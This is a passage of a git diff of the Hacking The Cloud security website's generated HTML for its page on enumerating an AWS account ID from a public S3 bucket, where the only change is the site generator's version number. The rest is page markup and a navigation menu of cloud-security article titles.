<p>By using <a href=https://docs.aws.amazon.com/cli/latest/reference/sts/get-caller-identity.html>get-caller-identity</a>, the EC2 instance may have an EC2 instance profile setup.</p> <div class=highlight><pre><span></span><code>user@host:$ aws sts get-caller-identity
 {
    &quot;Account&quot;: &quot;000000000000&quot;,
    &quot;UserId&quot;: &quot;AROAJIWIJQ5KCHMJX4EWI:i-00000000000000000&quot;,
diff --git a/aws/enumeration/account_id_from_s3_bucket/index.html b/aws/enumeration/account_id_from_s3_bucket/index.html
index 9637e85b0..3c5fbb0c1 100644
--- a/aws/enumeration/account_id_from_s3_bucket/index.html
+++ b/aws/enumeration/account_id_from_s3_bucket/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in."><link href=https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ rel=canonical><link href=../account_id_from_ec2/ rel=prev><link href=../brute_force_iam_permissions/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Enumerate AWS Account ID from a Public S3 Bucket - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Enumerate AWS Account ID from a Public S3 Bucket - Hacking The Cloud"><meta property=og:description content="Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Enumerate AWS Account ID from a Public S3 Bucket - Hacking The Cloud"><meta property=twitter:description content="Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in."><link href=https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ rel=canonical><link href=../account_id_from_ec2/ rel=prev><link href=../brute_force_iam_permissions/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Enumerate AWS Account ID from a Public S3 Bucket - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Enumerate AWS Account ID from a Public S3 Bucket - Hacking The Cloud"><meta property=og:description content="Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Enumerate AWS Account ID from a Public S3 Bucket - Hacking The Cloud"><meta property=twitter:description content="Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#installation class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#installation class=md-nav__link> <span class=md-ellipsis> Installation </span> </a> </li> <li class=md-nav__item> <a href=#setup class=md-nav__link> <span class=md-ellipsis> Setup </span> </a> </li> <li class=md-nav__item> <a href=#usage class=md-nav__link> <span class=md-ellipsis> Usage </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a 